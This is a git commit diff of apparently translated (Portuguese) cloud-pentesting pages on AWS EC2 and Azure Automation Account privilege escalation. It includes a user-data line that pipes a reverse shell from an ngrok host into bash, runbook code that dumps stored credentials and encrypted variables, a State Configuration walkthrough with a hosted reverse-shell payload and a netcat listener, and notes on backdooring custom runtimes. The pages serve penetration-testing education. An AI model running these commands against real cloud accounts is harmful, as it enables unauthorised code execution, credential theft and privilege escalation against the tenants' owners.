Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:15 +00:00
parent 703284725e
commit f1a5b670d9
7 changed files with 499 additions and 262 deletions

View File

@@ -406,8 +406,7 @@
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -454,6 +453,7 @@
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)

View File

@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Tenha cuidado com o GuardDuty se você usar as credenciais do IAM role fora da instância:
Tenha cuidado com o GuardDuty se você usar as credenciais do papel IAM fora da instância:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Impacto Potencial:** Privesc direto para qualquer role EC2 anexada a perfis de instância existentes.
**Impacto Potencial:** Privesc direto para qualquer papel EC2 anexado a perfis de instância existentes.
#### Privesc para ECS
Com esse conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar suas roles ECS anexadas**.
Com esse conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar seus papéis ECS anexados**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -80,31 +80,29 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida:
Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução alternativa. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida:
- Se a instância **não tiver nenhum perfil de instância** (`ec2:AssociateIamInstanceProfile`) \*
- Se a instância **não tiver nenhum perfil de instância** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico).
**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Com essas permissões, é possível alterar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
Com essas permissões, é possível mudar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
- Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo** \*
- Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- ou **substituir** o **perfil da instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- ou **substituir** o **perfil da instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico).
**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância).
### `ec2:RequestSpotInstances`,`iam:PassRole`
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Template de Lançamento** com um **rev shell em** os **dados do usuário** e **qualquer Função IAM do EC2 nela**, alterar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Template de Lançamento** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **reiniciar as instâncias** usando esse template e executará o rev shell.
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Template de Lançamento** com um **rev shell em** os **dados do usuário** e **qualquer Função IAM do EC2 nela**, mudar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Template de Lançamento** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **re-executar as instâncias** usando esse template e irá executar o rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -231,7 +229,7 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Dessa forma, não é tão útil para privesc, pois você precisa saber um nome de usuário e uma senha para explorá-lo.
Dessa forma, não é tão útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo.
**Impacto Potencial:** (Altamente improvável) Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
@@ -254,7 +252,7 @@ Nos comandos acima, embora estejamos especificando certos padrões (`aws_|passwo
Assumindo que encontramos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar no AWS.
**Impacto Potencial:** Escalação de privilégio direta para usuário(s) IAM.
**Impacto Potencial:** Escalação de privilégios direta para usuário(s) IAM.
## Referências

View File

@@ -0,0 +1,239 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
Para mais informações, consulte:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Conta de Automação, que você pode usar para **executar código** no contexto da Conta de Automação e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis** criptografadas armazenadas na Conta de Automação.
A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Conta de Automação usando:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Observe como o script anterior pode ser usado para **vazar o nome de usuário e a senha** de uma credencial e o valor de uma **variável criptografada** armazenada na Conta de Automação.
A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação, aplicando assim as alterações:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
A permissão **`Microsoft.Automation/automationAccounts/jobs/write`** permite que o usuário execute um Runbook na Conta de Automação usando:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
A permissão **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite que o usuário leia a saída de um trabalho na Conta de Automação usando:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Se não houver Runbooks criados, ou se você quiser criar um novo, você precisará das **permissões `Microsoft.Resources/subscriptions/resourcegroups/read` e `Microsoft.Automation/automationAccounts/runbooks/write`** para fazê-lo usando:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Esta permissão permite que o usuário **atribua uma identidade gerenciada pelo usuário** à Conta de Automação usando:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Com a permissão **`Microsoft.Automation/automationAccounts/schedules/write`** é possível criar um novo Agendamento na Conta de Automação que é executado a cada 15 minutos (não muito discreto) usando o seguinte comando.
Observe que o **intervalo mínimo para um agendamento é de 15 minutos**, e o **tempo de início mínimo é de 5 minutos** no futuro.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Então, com a permissão **`Microsoft.Automation/automationAccounts/jobSchedules/write`** é possível atribuir um Scheduler a um runbook usando:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar esta atribuição.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Com a permissão **`Microsoft.Automation/automationAccounts/webhooks/write`** é possível criar um novo Webhook para um Runbook dentro de uma Conta de Automação usando o seguinte comando.
Observe que você precisará **indicar a URI do webhook** com o token a ser utilizado.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Apenas com a permissão `Microsoft.Automation/automationAccounts/runbooks/draft/write` é possível **atualizar o código de um Runbook** sem publicá-lo e executá-lo usando os seguintes comandos.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Esta permissão permite que o usuário **configure um controle de versão** para a Conta de Automação usando comandos como o seguinte (este usa o Github como exemplo):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Isso importará automaticamente os runbooks do repositório do Github para a Automation Account e, com algumas outras permissões para começar a executá-los, seria **possível escalar privilégios**.
Além disso, lembre-se de que, para o controle de versão funcionar nas Automation Accounts, deve ter uma identidade gerenciada com o papel **`Contributor`** e, se for uma identidade gerenciada pelo usuário, isso também pode ser configurado definindo na variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** o **client id** da identidade gerenciada pelo usuário a ser utilizada.
> [!TIP]
> Note que não é possível alterar a URL do repositório de um controle de versão uma vez que ele é criado.
### Ambientes de Execução Personalizados
Se uma conta de automação estiver usando um ambiente de execução personalizado, pode ser possível sobrescrever um pacote personalizado do runtime com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook usando aquele runtime personalizado for executado e carregar o pacote personalizado, o código malicioso será executado.
### Comprometendo a Configuração de Estado
**Verifique o post completo em:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Passo 1 — Criar Arquivos
**Arquivos Necessários:** Dois scripts PowerShell são necessários:
1. `reverse_shell_config.ps1`: Um arquivo de Desired State Configuration (DSC) que busca e executa o payload. Ele pode ser obtido em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Um script para publicar a configuração na VM, disponível em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Personalização:** Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/payload.
- Passo 2 — Compactar o Arquivo de Configuração
O `reverse_shell_config.ps1` é compactado em um arquivo `.zip`, tornando-o pronto para transferência para a Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Passo 3 — Definir Contexto de Armazenamento e Fazer Upload
O arquivo de configuração compactado é enviado para um contêiner de Armazenamento Azure predefinido, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Passo 4 — Preparar Kali Box
O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
O script é editado para especificar a VM Windows alvo e a porta para o reverse shell.
- Passo 5 — Publicar Arquivo de Configuração
O arquivo de configuração é executado, resultando na implantação do script de reverse shell no local especificado na VM Windows.
- Passo 6 — Hospedar Payload e Configurar Listener
Um Python SimpleHTTPServer é iniciado para hospedar o payload, junto com um listener Netcat para capturar conexões recebidas.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
A tarefa agendada executa o payload, alcançando privilégios de nível SYSTEM.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,170 +0,0 @@
# Az - Automation Account
{{#include ../../../../banners/hacktricks-training.md}}
## Informações Básicas
[Da documentação:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation oferece um serviço de automação baseado em nuvem, atualizações de sistema operacional e configuração que suporta gerenciamento consistente em seus ambientes Azure e não-Azure. Inclui automação de processos, gerenciamento de configuração, gerenciamento de atualizações, capacidades compartilhadas e recursos heterogêneos.
Esses são como "**tarefas agendadas**" no Azure que permitem executar coisas (ações ou até mesmo scripts) para **gerenciar**, verificar e configurar o **ambiente Azure**.
### Conta Run As
Quando a **Conta Run As** é usada, ela cria um **aplicativo** Azure AD com certificado autoassinado, cria um **principal de serviço** e atribui o papel de **Contribuidor** para a conta na **assinatura atual** (muitos privilégios).\
A Microsoft recomenda usar uma **Identidade Gerenciada** para a Conta de Automação.
> [!WARNING]
> Isso será **removido em 30 de setembro de 2023 e alterado para Identidades Gerenciadas.**
## Runbooks & Jobs
**Runbooks** permitem que você **execute código PowerShell arbitrário**. Isso pode ser **abusado por um atacante** para roubar as permissões do **principal anexado** (se houver).\
No **código** dos **Runbooks**, você também pode encontrar **informações sensíveis** (como credenciais).
Se você puder **ler** os **jobs**, faça isso, pois eles **contêm** a **saída** da execução (potencial **informação sensível**).
Vá para `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
### Worker Híbrido
Um Runbook pode ser executado em um **container dentro do Azure** ou em um **Worker Híbrido** (máquina não-Azure).\
O **Agente de Log Analytics** é implantado na VM para registrá-la como um worker híbrido.\
Os jobs do worker híbrido são executados como **SYSTEM** no Windows e como conta **nxautomation** no Linux.\
Cada Worker Híbrido é registrado em um **Grupo de Workers Híbridos**.
Portanto, se você puder escolher executar um **Runbook** em um **Worker Híbrido Windows**, você executará **comandos arbitrários** dentro de uma máquina externa como **System** (boa técnica de pivotagem).
## Comprometimento da Configuração de Estado (SC)
[Da documentação:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** é um serviço de gerenciamento de configuração do Azure que permite escrever, gerenciar e compilar PowerShell Desired State Configuration (DSC) [configurações](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) para nós em qualquer nuvem ou datacenter local. O serviço também importa [Recursos DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) e atribui configurações a nós-alvo, tudo na nuvem. Você pode acessar a Configuração de Estado do Azure Automation no portal do Azure selecionando **Configuração de estado (DSC)** em **Gerenciamento de Configuração**.
**Informações sensíveis** podem ser encontradas nessas configurações.
### RCE
É possível abusar do SC para executar scripts arbitrários nas máquinas gerenciadas.
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## Enumeração
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Criar um Runbook
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Exfiltrar Credenciais e Variáveis definidas em uma Conta de Automação usando um Run Book
```powershell
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness
# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> Você pode fazer a mesma coisa modificando um Run Book existente, e a partir do console web.
### Passos para Configurar a Criação Automática de Usuário com Altos Privilégios
#### 1. Inicializar uma Conta de Automação
- **Ação Necessária:** Criar uma nova Conta de Automação.
- **Configuração Específica:** Certifique-se de que "Criar conta Azure Run As" esteja habilitado.
#### 2. Importar e Configurar Runbook
- **Fonte:** Baixe o runbook de exemplo do [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
- **Ações Necessárias:**
- Importar o runbook na Conta de Automação.
- Publicar o runbook para torná-lo executável.
- Anexar um webhook ao runbook, permitindo gatilhos externos.
#### 3. Configurar o Módulo AzureAD
- **Ação Necessária:** Adicionar o módulo AzureAD à Conta de Automação.
- **Passo Adicional:** Certifique-se de que todos os Módulos de Automação do Azure estejam atualizados para suas versões mais recentes.
#### 4. Atribuição de Permissões
- **Funções a Atribuir:**
- Administrador de Usuários
- Proprietário da Assinatura
- **Alvo:** Atribuir essas funções à Conta de Automação para os privilégios necessários.
#### 5. Consciência da Potencial Perda de Acesso
- **Nota:** Esteja ciente de que configurar tal automação pode levar à perda de controle sobre a assinatura.
#### 6. Acionar Criação de Usuário
- Acione o webhook para criar um novo usuário enviando uma solicitação POST.
- Use o script PowerShell fornecido, garantindo substituir o `$uri` pela sua URL de webhook real e atualizar o `$AccountInfo` com o nome de usuário e senha desejados.
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Referências
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,57 +0,0 @@
# Az - State Configuration RCE
{{#include ../../../../banners/hacktricks-training.md}}
**Verifique o post completo em:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Resumo da Preparação e Etapas da Infraestrutura do Servidor Remoto (C2)
#### Visão Geral
O processo envolve a configuração de uma infraestrutura de servidor remoto para hospedar um payload modificado do Nishang `Invoke-PowerShellTcp.ps1`, chamado `RevPS.ps1`, projetado para contornar o Windows Defender. O payload é servido a partir de uma máquina Kali Linux com IP `40.84.7.74` usando um simples servidor HTTP em Python. A operação é executada através de várias etapas:
#### Etapa 1 — Criar Arquivos
- **Arquivos Necessários:** Dois scripts PowerShell são necessários:
1. `reverse_shell_config.ps1`: Um arquivo de Desired State Configuration (DSC) que busca e executa o payload. Ele pode ser obtido no [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Um script para publicar a configuração na VM, disponível no [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
- **Personalização:** Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/payload.
#### Etapa 2 — Compactar o Arquivo de Configuração
- O `reverse_shell_config.ps1` é compactado em um arquivo `.zip`, tornando-o pronto para transferência para a Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Etapa 3 — Definir Contexto de Armazenamento e Fazer Upload
- O arquivo de configuração compactado é enviado para um contêiner de Armazenamento Azure predefinido, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Passo 4 — Preparar Kali Box
- O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- O script é editado para especificar a VM Windows alvo e a porta para o reverse shell.
#### Step 5 — Publicar Arquivo de Configuração
